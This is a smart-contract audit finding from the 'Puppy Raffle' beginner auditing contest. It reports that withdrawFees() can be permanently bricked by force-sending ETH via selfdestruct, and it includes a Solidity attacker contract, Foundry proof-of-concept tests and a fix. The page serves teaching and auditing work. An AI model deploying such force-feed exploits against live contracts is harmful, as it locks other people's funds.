Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

selfdestruct Force-Feed Permanently Bricks withdrawFees()

sergios

selfdestruct Force-Feed Permanently Bricks withdrawFees()

Severity: High

Description

  • The protocol owner calls withdrawFees() to collect accumulated fees after a raffle round completes with no active players.

  • withdrawFees() uses strict equality between address(this).balance and totalFees as its guard. Any attacker can selfdestruct a contract holding as little as 1
    wei targeting PuppyRaffle, force-sending ETH that bypasses all payable guards and permanently breaking the equality. All accumulated fees are locked forever.

function withdrawFees() external {
// @> Strict equality breaks permanently if any ETH is force-sent
require(address(this).balance == uint256(totalFees),
"PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
// @> Unreachable after attack — fees locked forever
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Risk

Likelihood:

  • Any address can deploy and self-destruct a contract sending 1 wei — no special access or significant cost required.

  • The attack is permanent and irreversible — once extra ETH enters via selfdestruct, the equality can never hold again.

Impact:

  • All protocol fees accumulated in totalFees are permanently locked with no recovery path.

  • The protocol owner loses all fee revenue indefinitely until redeployment.

Proof of Concept

The attacker deploys a contract funded with 1 wei and self-destructs it targeting the raffle. After this, withdrawFees() always reverts regardless of the raffle
state:

contract Selfdestructor {
constructor() payable {}
function boom(address target) external {
selfdestruct(payable(target));
}
}

function test_SelfdestructBricksWithdrawFees() public {
address[] memory players = new address;
for (uint i = 0; i < 4; i++) players[i] = makeAddr(string(abi.encode(i)));
vm.deal(address(this), 4 ether);
raffle.enterRaffle{value: 4 ether}(players);
vm.warp(block.timestamp + duration + 1);
raffle.selectWinner();

Selfdestructor sd = new Selfdestructor{value: 1 wei}();
sd.boom(address(raffle));
vm.expectRevert(bytes("PuppyRaffle: There are currently players active!"));
raffle.withdrawFees();

}

Recommended Mitigation

Replace the strict equality with a greater-than-or-equal check so force-sent ETH does not permanently break fee withdrawal:

  • require(address(this).balance == uint256(totalFees),


  • "PuppyRaffle: There are currently players active!");

  • require(address(this).balance >= uint256(totalFees),


  • "PuppyRaffle: There are currently players active!");
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!